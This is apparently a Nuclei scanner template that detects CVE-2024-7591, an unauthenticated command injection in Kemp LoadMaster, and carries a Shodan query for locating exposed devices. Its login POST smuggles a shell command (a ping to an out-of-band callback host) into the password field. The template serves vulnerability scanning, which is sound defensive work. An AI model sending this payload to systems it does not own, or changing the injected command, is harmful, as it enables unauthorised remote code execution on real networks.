漏洞描述
Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects: LoadMaster: 7.2.40.0 and above. ECS: All versions.Multi-Tenancy: 7.1.35.4 and above.
id: CVE-2024-7591
info:
name: Kemp LoadMaster Load Balancer - Unauthenticated Command Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects: LoadMaster: 7.2.40.0 and above. ECS: All versions.Multi-Tenancy: 7.1.35.4 and above.
reference:
- https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/
- https://nvd.nist.gov/vuln/detail/cve-2024-7591
- https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591
- https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-7591
cwe-id: CWE-78
epss-score: 0.32235
epss-percentile: 0.96701
cpe: cpe:2.3:a:kemptechnologies:loadmaster:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: kemptechnologies
product: loadmaster
max-request: 2
shodan-query: html:"Kemp Login Screen"
tags: cve,cve2024,loadmaster,rce,oast,kemptechnologies
variables:
oast: ".{{interactsh-url}}"
payload: "{{padding(oast,'a',50,'prefix')}}"
http:
- raw:
- |
GET /progs/homepage HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- 'value="(.*?)" name="token"'
internal: true
- type: regex
part: body
name: token2
group: 1
regex:
- 'value="(.*?)" name="token2"'
internal: true
- raw:
- |
POST /progs/status/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token={{token}}&token2={{token2}}&user=test&logsub=Login&pass=%01%78%78%78%78%78%78%78%27%3b%70%69%6e%67%20%2d%63%20%32%20{{payload}}%3b%65%63%68%6f%20%27%01&
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains_all(body, "alert(\"Login Failed\");", "2 packets transmitted")
condition: and
# digest: 4a0a00473045022100d26cdce41cb6d12620d471fd88e5b5c41515da5bb2af23025f77123b35cfcd65022073f7692f91722b29dc610db9351247b04e39037510b930719b59a982b85ec8cb:922c64590222798bb761d5b6d8e72950